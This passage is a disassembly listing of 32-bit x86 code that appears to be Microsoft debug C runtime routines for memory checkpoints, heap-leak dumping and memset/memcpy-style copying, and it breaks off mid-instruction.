cmp eax, 2 jz short loc_418120 mov ecx, [ebp-4] cmp dword ptr [ecx+14h], 3 jnz short loc_418193 loc_418120: ; CODE XREF: .text:004180FCj ; .text:00418105j ... push 1 mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_417FE0 add esp, 0Ch test eax, eax jz short loc_418193 mov ecx, [ebp-4] mov edx, [ecx+10h] cmp edx, [ebp+0Ch] jnz short loc_418193 mov eax, [ebp-4] mov ecx, [eax+18h] cmp ecx, dword_442C04 jg short loc_418193 cmp dword ptr [ebp+10h], 0 jz short loc_418160 mov edx, [ebp+10h] mov eax, [ebp-4] mov ecx, [eax+18h] mov [edx], ecx loc_418160: ; CODE XREF: .text:00418153j cmp dword ptr [ebp+14h], 0 jz short loc_418171 mov edx, [ebp+14h] mov eax, [ebp-4] mov ecx, [eax+8] mov [edx], ecx loc_418171: ; CODE XREF: .text:00418164j cmp dword ptr [ebp+18h], 0 jz short loc_418182 mov edx, [ebp+18h] mov eax, [ebp-4] mov ecx, [eax+0Ch] mov [edx], ecx loc_418182: ; CODE XREF: .text:00418175j push 9 call sub_41BD30 add esp, 4 mov eax, 1 jmp short loc_41819F ; --------------------------------------------------------------------------- loc_418193: ; CODE XREF: .text:0041811Ej ; .text:00418134j ... push 9 call sub_41BD30 add esp, 4 xor eax, eax loc_41819F: ; CODE XREF: .text:004180D6j ; .text:00418191j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, dword_493798 mov [ebp-4], eax mov ecx, [ebp+8] mov dword_493798, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4181D0 proc near ; CODE XREF: sub_418850+Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi cmp [ebp+arg_0], 0 jnz short loc_41820A loc_4181DF: ; CODE XREF: sub_4181D0+33j push offset a_crtmemcheckpo ; "_CrtMemCheckPoint: NULL state pointer.\n"... push offset aS_34 ; "%s" push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 18h cmp eax, 1 jnz short loc_4181FF int 3 ; Trap to Debugger loc_4181FF: ; CODE XREF: sub_4181D0+2Cj xor eax, eax test eax, eax jnz short loc_4181DF jmp loc_418333 ; --------------------------------------------------------------------------- loc_41820A: ; CODE XREF: sub_4181D0+Dj push 9 call sub_41BC90 add esp, 4 mov ecx, [ebp+arg_0] mov edx, dword_492064 mov [ecx], edx mov [ebp+var_4], 0 jmp short loc_418231 ; --------------------------------------------------------------------------- loc_418228: ; CODE XREF: sub_4181D0+83j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_418231: ; CODE XREF: sub_4181D0+56j cmp [ebp+var_4], 5 jge short loc_418255 mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov dword ptr [edx+ecx*4+18h], 0 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov dword ptr [ecx+eax*4+4], 0 jmp short loc_418228 ; --------------------------------------------------------------------------- loc_418255: ; CODE XREF: sub_4181D0+65j mov edx, dword_492064 mov [ebp+var_8], edx jmp short loc_418268 ; --------------------------------------------------------------------------- loc_418260: ; CODE XREF: sub_4181D0:loc_41830Cj mov eax, [ebp+var_8] mov ecx, [eax] mov [ebp+var_8], ecx loc_418268: ; CODE XREF: sub_4181D0+8Ej cmp [ebp+var_8], 0 jz loc_418311 mov edx, [ebp+var_8] mov eax, [edx+14h] and eax, 0FFFFh test eax, eax jl short loc_4182E7 mov ecx, [ebp+var_8] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 5 jge short loc_4182E7 mov eax, [ebp+var_8] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, [ebp+arg_0] mov eax, [edx+ecx*4+4] add eax, 1 mov ecx, [ebp+var_8] mov edx, [ecx+14h] and edx, 0FFFFh mov ecx, [ebp+arg_0] mov [ecx+edx*4+4], eax mov edx, [ebp+var_8] mov eax, [edx+14h] and eax, 0FFFFh mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4+18h] mov eax, [ebp+var_8] add edx, [eax+10h] mov ecx, [ebp+var_8] mov eax, [ecx+14h] and eax, 0FFFFh mov ecx, [ebp+arg_0] mov [ecx+eax*4+18h], edx jmp short loc_41830C ; --------------------------------------------------------------------------- loc_4182E7: ; CODE XREF: sub_4181D0+AFj ; sub_4181D0+C0j ... mov edx, [ebp+var_8] push edx push offset aBadMemoryBlock ; "Bad memory block found at 0x%08X.\n" push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 18h cmp eax, 1 jnz short loc_418306 int 3 ; Trap to Debugger loc_418306: ; CODE XREF: sub_4181D0+133j xor eax, eax test eax, eax jnz short loc_4182E7 loc_41830C: ; CODE XREF: sub_4181D0+115j jmp loc_418260 ; --------------------------------------------------------------------------- loc_418311: ; CODE XREF: sub_4181D0+9Cj mov ecx, [ebp+arg_0] mov edx, dword_49206C mov [ecx+2Ch], edx mov eax, [ebp+arg_0] mov ecx, dword_492060 mov [eax+30h], ecx push 9 call sub_41BD30 add esp, 4 loc_418333: ; CODE XREF: sub_4181D0+35j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4181D0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov dword ptr [ebp-8], 0 cmp dword ptr [ebp+8], 0 jz short loc_418362 cmp dword ptr [ebp+0Ch], 0 jz short loc_418362 cmp dword ptr [ebp+10h], 0 jnz short loc_418390 loc_418362: ; CODE XREF: .text:00418354j ; .text:0041835Aj ... push offset a_crtmemdiffere ; "_CrtMemDifference: NULL state pointer.\n"... push offset aS_34 ; "%s" push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 18h cmp eax, 1 jnz short loc_418382 int 3 ; Trap to Debugger loc_418382: ; CODE XREF: .text:0041837Fj xor eax, eax test eax, eax jnz short loc_418362 mov eax, [ebp-8] jmp loc_41845C ; --------------------------------------------------------------------------- loc_418390: ; CODE XREF: .text:00418360j mov dword ptr [ebp-4], 0 jmp short loc_4183A2 ; --------------------------------------------------------------------------- loc_418399: ; CODE XREF: .text:loc_418427j mov ecx, [ebp-4] add ecx, 1 mov [ebp-4], ecx loc_4183A2: ; CODE XREF: .text:00418397j cmp dword ptr [ebp-4], 5 jge loc_41842C mov edx, [ebp-4] mov eax, [ebp+10h] mov ecx, [ebp-4] mov esi, [ebp+0Ch] mov edx, [eax+edx*4+18h] sub edx, [esi+ecx*4+18h] mov eax, [ebp-4] mov ecx, [ebp+8] mov [ecx+eax*4+18h], edx mov edx, [ebp-4] mov eax, [ebp+10h] mov ecx, [ebp-4] mov esi, [ebp+0Ch] mov edx, [eax+edx*4+4] sub edx, [esi+ecx*4+4] mov eax, [ebp-4] mov ecx, [ebp+8] mov [ecx+eax*4+4], edx mov edx, [ebp-4] mov eax, [ebp+8] cmp dword ptr [eax+edx*4+18h], 0 jnz short loc_418402 mov ecx, [ebp-4] mov edx, [ebp+8] cmp dword ptr [edx+ecx*4+4], 0 jz short loc_418427 loc_418402: ; CODE XREF: .text:004183F3j cmp dword ptr [ebp-4], 0 jz short loc_418427 cmp dword ptr [ebp-4], 2 jnz short loc_418420 cmp dword ptr [ebp-4], 2 jnz short loc_418427 mov eax, dword_442C00 and eax, 10h test eax, eax jz short loc_418427 loc_418420: ; CODE XREF: .text:0041840Cj mov dword ptr [ebp-8], 1 loc_418427: ; CODE XREF: .text:00418400j ; .text:00418406j ... jmp loc_418399 ; --------------------------------------------------------------------------- loc_41842C: ; CODE XREF: .text:004183A6j mov ecx, [ebp+10h] mov edx, [ebp+0Ch] mov eax, [ecx+2Ch] sub eax, [edx+2Ch] mov ecx, [ebp+8] mov [ecx+2Ch], eax mov edx, [ebp+10h] mov eax, [ebp+0Ch] mov ecx, [edx+30h] sub ecx, [eax+30h] mov edx, [ebp+8] mov [edx+30h], ecx mov eax, [ebp+8] mov dword ptr [eax], 0 mov eax, [ebp-8] loc_41845C: ; CODE XREF: .text:0041838Bj pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418470 proc near ; CODE XREF: sub_418850+5Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_8], 0 push 9 call sub_41BC90 add esp, 4 loc_41848A: ; CODE XREF: sub_418470+3Ej push offset aDumpingObjects ; "Dumping objects ->\n" push offset aS_34 ; "%s" push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 18h cmp eax, 1 jnz short loc_4184AA int 3 ; Trap to Debugger loc_4184AA: ; CODE XREF: sub_418470+37j xor eax, eax test eax, eax jnz short loc_41848A cmp [ebp+arg_0], 0 jz short loc_4184BE mov ecx, [ebp+arg_0] mov edx, [ecx] mov [ebp+var_8], edx loc_4184BE: ; CODE XREF: sub_418470+44j mov eax, dword_492064 mov [ebp+var_4], eax jmp short loc_4184D0 ; --------------------------------------------------------------------------- loc_4184C8: ; CODE XREF: sub_418470:loc_4186EDj mov ecx, [ebp+var_4] mov edx, [ecx] mov [ebp+var_4], edx loc_4184D0: ; CODE XREF: sub_418470+56j cmp [ebp+var_4], 0 jz loc_4186F2 mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jz loc_4186F2 mov ecx, [ebp+var_4] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 3 jz short loc_418524 mov eax, [ebp+var_4] mov ecx, [eax+14h] and ecx, 0FFFFh test ecx, ecx jz short loc_418524 mov edx, [ebp+var_4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jnz short loc_418529 mov ecx, dword_442C00 and ecx, 10h test ecx, ecx jnz short loc_418529 loc_418524: ; CODE XREF: sub_418470+85j ; sub_418470+95j jmp loc_4186ED ; --------------------------------------------------------------------------- loc_418529: ; CODE XREF: sub_418470+A5j ; sub_418470+B2j mov edx, [ebp+var_4] cmp dword ptr [edx+8], 0 jz short loc_4185A2 push 0 push 1 mov eax, [ebp+var_4] mov ecx, [eax+8] push ecx call sub_417FE0 add esp, 0Ch test eax, eax jnz short loc_418573 loc_418549: ; CODE XREF: sub_418470+FFj mov edx, [ebp+var_4] mov eax, [edx+0Ch] push eax push offset aFileErrorD ; "#File Error#(%d) : " push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 18h cmp eax, 1 jnz short loc_41856B int 3 ; Trap to Debugger loc_41856B: ; CODE XREF: sub_418470+F8j xor ecx, ecx test ecx, ecx jnz short loc_418549 jmp short loc_4185A2 ; --------------------------------------------------------------------------- loc_418573: ; CODE XREF: sub_418470+D7j ; sub_418470+130j mov edx, [ebp+var_4] mov eax, [edx+0Ch] push eax mov ecx, [ebp+var_4] mov edx, [ecx+8] push edx push offset aHsD ; "%hs(%d) : " push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 1Ch cmp eax, 1 jnz short loc_41859C int 3 ; Trap to Debugger loc_41859C: ; CODE XREF: sub_418470+129j xor eax, eax test eax, eax jnz short loc_418573 loc_4185A2: ; CODE XREF: sub_418470+C0j ; sub_418470+101j ... mov ecx, [ebp+var_4] mov edx, [ecx+18h] push edx push offset aLd ; "{%ld} " push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 18h cmp eax, 1 jnz short loc_4185C4 int 3 ; Trap to Debugger loc_4185C4: ; CODE XREF: sub_418470+151j xor eax, eax test eax, eax jnz short loc_4185A2 mov ecx, [ebp+var_4] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 4 jnz short loc_41864C loc_4185DB: ; CODE XREF: sub_418470+1A7j mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx mov edx, [ebp+var_4] mov eax, [edx+14h] sar eax, 10h and eax, 0FFFFh push eax mov ecx, [ebp+var_4] add ecx, 20h push ecx push offset aClientBlockAt0 ; "client block at 0x%08X, subtype %x, %u "... push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 20h cmp eax, 1 jnz short loc_418613 int 3 ; Trap to Debugger loc_418613: ; CODE XREF: sub_418470+1A0j xor edx, edx test edx, edx jnz short loc_4185DB cmp dword_493798, 0 jz short loc_41863B mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx mov edx, [ebp+var_4] add edx, 20h push edx call dword_493798 add esp, 8 jmp short loc_418647 ; --------------------------------------------------------------------------- loc_41863B: ; CODE XREF: sub_418470+1B0j mov eax, [ebp+var_4] push eax call sub_418730 add esp, 4 loc_418647: ; CODE XREF: sub_418470+1C9j jmp loc_4186ED ; --------------------------------------------------------------------------- loc_41864C: ; CODE XREF: sub_418470+169j mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 1 jnz short loc_418692 loc_418655: ; CODE XREF: sub_418470+212j mov edx, [ebp+var_4] mov eax, [edx+10h] push eax mov ecx, [ebp+var_4] add ecx, 20h push ecx push offset aNormalBlockAt0 ; "normal block at 0x%08X, %u bytes long.\n"... push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 1Ch cmp eax, 1 jnz short loc_41867E int 3 ; Trap to Debugger loc_41867E: ; CODE XREF: sub_418470+20Bj xor edx, edx test edx, edx jnz short loc_418655 mov eax, [ebp+var_4] push eax call sub_418730 add esp, 4 jmp short loc_4186ED ; --------------------------------------------------------------------------- loc_418692: ; CODE XREF: sub_418470+1E3j mov ecx, [ebp+var_4] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 2 jnz short loc_4186ED loc_4186A3: ; CODE XREF: sub_418470+26Fj mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx mov edx, [ebp+var_4] mov eax, [edx+14h] sar eax, 10h and eax, 0FFFFh push eax mov ecx, [ebp+var_4] add ecx, 20h push ecx push offset aCrtBlockAt0x08 ; "crt block at 0x%08X, subtype %x, %u byt"... push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 20h cmp eax, 1 jnz short loc_4186DB int 3 ; Trap to Debugger loc_4186DB: ; CODE XREF: sub_418470+268j xor edx, edx test edx, edx jnz short loc_4186A3 mov eax, [ebp+var_4] push eax call sub_418730 add esp, 4 loc_4186ED: ; CODE XREF: sub_418470:loc_418524j ; sub_418470:loc_418647j ... jmp loc_4184C8 ; --------------------------------------------------------------------------- loc_4186F2: ; CODE XREF: sub_418470+64j ; sub_418470+70j push 9 call sub_41BD30 add esp, 4 loc_4186FC: ; CODE XREF: sub_418470+2B0j push offset aObjectDumpComp ; "Object dump complete.\n" push offset aS_34 ; "%s" push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 18h cmp eax, 1 jnz short loc_41871C int 3 ; Trap to Debugger loc_41871C: ; CODE XREF: sub_418470+2A9j xor ecx, ecx test ecx, ecx jnz short loc_4186FC pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_418470 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418730 proc near ; CODE XREF: sub_418470+1CFp ; sub_418470+218p ... var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_34 = byte ptr -34h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov [ebp+var_4C], 0 jmp short loc_41874B ; --------------------------------------------------------------------------- loc_418742: ; CODE XREF: sub_418730+D7j mov eax, [ebp+var_4C] add eax, 1 mov [ebp+var_4C], eax loc_41874B: ; CODE XREF: sub_418730+10j mov ecx, [ebp+arg_0] cmp dword ptr [ecx+10h], 10h jge short loc_41875F mov edx, [ebp+arg_0] mov eax, [edx+10h] mov [ebp+var_54], eax jmp short loc_418766 ; --------------------------------------------------------------------------- loc_41875F: ; CODE XREF: sub_418730+22j mov [ebp+var_54], 10h loc_418766: ; CODE XREF: sub_418730+2Dj mov ecx, [ebp+var_4C] cmp ecx, [ebp+var_54] jge loc_41880C mov edx, [ebp+arg_0] add edx, [ebp+var_4C] mov al, [edx+20h] mov byte ptr [ebp+var_50], al cmp dword_442F58, 1 jle short loc_4187A3 push 157h mov ecx, [ebp+var_50] and ecx, 0FFh push ecx call sub_41E750 add esp, 8 mov [ebp+var_58], eax jmp short loc_4187C0 ; --------------------------------------------------------------------------- loc_4187A3: ; CODE XREF: sub_418730+55j mov edx, [ebp+var_50] and edx, 0FFh mov eax, off_442D4C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 157h mov [ebp+var_58], ecx loc_4187C0: ; CODE XREF: sub_418730+71j cmp [ebp+var_58], 0 jz short loc_4187D4 mov edx, [ebp+var_50] and edx, 0FFh mov [ebp+var_5C], edx jmp short loc_4187DB ; --------------------------------------------------------------------------- loc_4187D4: ; CODE XREF: sub_418730+94j mov [ebp+var_5C], 20h loc_4187DB: ; CODE XREF: sub_418730+A2j mov eax, [ebp+var_4C] mov cl, byte ptr [ebp+var_5C] mov [ebp+eax+var_48], cl mov edx, [ebp+var_50] and edx, 0FFh push edx push offset a_2x ; "%.2X " mov eax, [ebp+var_4C] imul eax, 3 lea ecx, [ebp+eax+var_34] push ecx call sub_418D70 add esp, 0Ch jmp loc_418742 ; --------------------------------------------------------------------------- loc_41880C: ; CODE XREF: sub_418730+3Cj mov edx, [ebp+var_4C] mov [ebp+edx+var_48], 0 loc_418814: ; CODE XREF: sub_418730+10Bj lea eax, [ebp+var_34] push eax lea ecx, [ebp+var_48] push ecx push offset aDataSS ; " Data: <%s> %s\n" push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 1Ch cmp eax, 1 jnz short loc_418837 int 3 ; Trap to Debugger loc_418837: ; CODE XREF: sub_418730+104j xor edx, edx test edx, edx jnz short loc_418814 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_418730 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418850 proc near ; CODE XREF: sub_41B390+B9p var_34 = byte ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi lea eax, [ebp+var_34] push eax call sub_4181D0 add esp, 4 cmp [ebp+var_20], 0 jnz short loc_418884 cmp [ebp+var_2C], 0 jnz short loc_418884 mov ecx, dword_442C00 and ecx, 10h test ecx, ecx jz short loc_4188BB cmp [ebp+var_28], 0 jz short loc_4188BB loc_418884: ; CODE XREF: sub_418850+19j ; sub_418850+1Fj ... push offset aDetectedMemory ; "Detected memory leaks!\n" push offset aS_34 ; "%s" push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 18h cmp eax, 1 jnz short loc_4188A4 int 3 ; Trap to Debugger loc_4188A4: ; CODE XREF: sub_418850+51j xor edx, edx test edx, edx jnz short loc_418884 push 0 call sub_418470 add esp, 4 mov eax, 1 jmp short loc_4188BD ; --------------------------------------------------------------------------- loc_4188BB: ; CODE XREF: sub_418850+2Cj ; sub_418850+32j xor eax, eax loc_4188BD: ; CODE XREF: sub_418850+69j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_418850 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi cmp dword ptr [ebp+8], 0 jnz short loc_4188E2 jmp loc_41898E ; --------------------------------------------------------------------------- loc_4188E2: ; CODE XREF: .text:004188DBj mov dword ptr [ebp-4], 0 jmp short loc_4188F4 ; --------------------------------------------------------------------------- loc_4188EB: ; CODE XREF: .text:0041893Cj mov eax, [ebp-4] add eax, 1 mov [ebp-4], eax loc_4188F4: ; CODE XREF: .text:004188E9j cmp dword ptr [ebp-4], 5 jge short loc_41893E loc_4188FA: ; CODE XREF: .text:0041893Aj mov ecx, [ebp-4] mov edx, off_442C10[ecx*4] push edx mov eax, [ebp-4] mov ecx, [ebp+8] mov edx, [ecx+eax*4+4] push edx mov eax, [ebp-4] mov ecx, [ebp+8] mov edx, [ecx+eax*4+18h] push edx push offset aLdBytesInLdHsB ; "%ld bytes in %ld %hs Blocks.\n" push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 20h cmp eax, 1 jnz short loc_418936 int 3 ; Trap to Debugger loc_418936: ; CODE XREF: .text:00418933j xor eax, eax test eax, eax jnz short loc_4188FA jmp short loc_4188EB ; --------------------------------------------------------------------------- loc_41893E: ; CODE XREF: .text:004188F8j ; .text:00418964j mov ecx, [ebp+8] mov edx, [ecx+2Ch] push edx push offset aLargestNumberU ; "Largest number used: %ld bytes.\n" push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 18h cmp eax, 1 jnz short loc_418960 int 3 ; Trap to Debugger loc_418960: ; CODE XREF: .text:0041895Dj xor eax, eax test eax, eax jnz short loc_41893E loc_418966: ; CODE XREF: .text:0041898Cj mov ecx, [ebp+8] mov edx, [ecx+30h] push edx push offset aTotalAllocatio ; "Total allocations: %ld bytes.\n" push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 18h cmp eax, 1 jnz short loc_418988 int 3 ; Trap to Debugger loc_418988: ; CODE XREF: .text:00418985j xor eax, eax test eax, eax jnz short loc_418966 loc_41898E: ; CODE XREF: .text:004188DDj pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4189A0 proc near ; CODE XREF: sub_40119E+63p ; sub_40119E+B2p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_4189F3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_4189E7 neg ecx and ecx, 3 jz short loc_4189C9 sub edx, ecx loc_4189C3: ; CODE XREF: sub_4189A0+27j mov [edi], al inc edi dec ecx jnz short loc_4189C3 loc_4189C9: ; CODE XREF: sub_4189A0+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_4189E7 rep stosd test edx, edx jz short loc_4189ED loc_4189E7: ; CODE XREF: sub_4189A0+18j ; sub_4189A0+3Fj ... mov [edi], al inc edi dec edx jnz short loc_4189E7 loc_4189ED: ; CODE XREF: sub_4189A0+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4189F3: ; CODE XREF: sub_4189A0+Aj mov eax, [esp+arg_0] retn sub_4189A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A00 proc near ; CODE XREF: sub_40119E+54p ; sub_40119E+77p ... var_733BFFC7 = byte ptr -733BFFC7h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_418A20 cmp edi, eax jb loc_418B98 loc_418A20: ; CODE XREF: sub_418A00+16j test edi, 3 jnz short loc_418A3C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_418A5C rep movsd jmp ds:off_418B48[edx*4] ; --------------------------------------------------------------------------- loc_418A3C: ; CODE XREF: sub_418A00+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_418A54 and eax, 3 add ecx, eax jmp dword ptr ds:loc_418A5C+4[eax*4] ; --------------------------------------------------------------------------- loc_418A54: ; CODE XREF: sub_418A00+46j jmp dword ptr ds:loc_418B58[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_418A5C: ; CODE XREF: sub_418A00+31j ; sub_418A00+8Ej ... jmp ds:off_418ADC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_418A6C+4 ; --------------------------------------------------------------------------- pushf mov al, [ecx+0] loc_418A6C: ; DATA XREF: sub_418A00+64o ror byte ptr [edx-2EDCFFBFh], 8Ah push es mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_418A5C rep movsd jmp ds:off_418B48[edx*4] ; --------------------------------------------------------------------------- align 4 and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_418A5C rep movsd jmp ds:off_418B48[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_418A5C rep movsd jmp ds:off_418B48[edx*4] ; --------------------------------------------------------------------------- align 4 off_418ADC dd offset loc_418B3F ; DATA XREF: sub_418A00:loc_418A5Cr dd offset loc_418B2C dd offset loc_418B24 dd offset loc_418B1C dd offset loc_418B14 dd offset loc_418B0C dd offset loc_418B04 dd offset loc_418AFC ; --------------------------------------------------------------------------- loc_418AFC: ; CODE XREF: sub_418A00:loc_418A5Cj ; DATA XREF: sub_418A00+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_418B04: ; CODE XREF: sub_418A00:loc_418A5Cj ; DATA XREF: sub_418A00+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_418B0C: ; CODE XREF: sub_418A00:loc_418A5Cj ; DATA XREF: sub_418A00+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_418B14: ; CODE XREF: sub_418A00:loc_418A5Cj ; DATA XREF: sub_418A00+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_418B1C: ; CODE XREF: sub_418A00:loc_418A5Cj ; DATA XREF: sub_418A00+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_418B24: ; CODE XREF: sub_418A00:loc_418A5Cj ; DATA XREF: sub_418A00+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_418B2C: ; CODE XREF: sub_418A00:loc_418A5Cj ; DATA XREF: sub_418A00+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_418B3F: ; CODE XREF: sub_418A00:loc_418A5Cj ; DATA XREF: sub_418A00:off_418ADCo jmp ds:off_418B48[edx*4] ; --------------------------------------------------------------------------- align 4 off_418B48 dd offset loc_418B58 ; DATA XREF: sub_418A00+35r ; sub_418A00+92r ... dd offset loc_418B60 dd offset loc_418B6C dd offset loc_418B80 ; --------------------------------------------------------------------------- loc_418B58: ; CODE XREF: sub_418A00+35j ; sub_418A00+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_418B60: ; CODE XREF: sub_418A00+35j ; sub_418A00+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_418B6C: ; CODE XREF: sub_418A00+35j ; sub_418A00+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_418B80: ; CODE XREF: sub_418A00+35j ; sub_418A00+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_418B98: ; CODE XREF: sub_418A00+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_418BCC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_418BC0 std rep movsd cld jmp ds:off_418CE0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_418BC0: ; CODE XREF: sub_418A00+1B1j ; sub_418A00+208j ... neg ecx jmp dword ptr ds:loc_418C8F+1[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_418BCC: ; CODE XREF: sub_418A00+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_418BE4 and eax, 3 sub ecx, eax jmp dword ptr ds:loc_418BE4+4[eax*4] ; --------------------------------------------------------------------------- loc_418BE4: ; CODE XREF: sub_418A00+1D6j ; DATA XREF: sub_418A00+1DDr jmp ds:off_418CE0[ecx*4] ; --------------------------------------------------------------------------- align 4 clc mov eax, [ecx+0] sbb [ecx+eax*2+418C4000h], cl add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_418BC0 std rep movsd cld jmp ds:off_418CE0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_418BC0 std rep movsd cld jmp ds:off_418CE0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_418BC0 std rep movsd cld jmp ds:off_418CE0[edx*4] ; --------------------------------------------------------------------------- align 4 xchg eax, esp mov word ptr [ecx+0], es pushf mov word ptr [ecx+0], es movsb mov word ptr [ecx+0], es lodsb mov word ptr [ecx+0], es mov ah, 8Ch inc ecx add [esp+ecx*4+8+var_733BFFC7], bh inc ecx loc_418C8F: ; DATA XREF: sub_418A00+1C2r add bh, dl mov word ptr [ecx+0], es mov 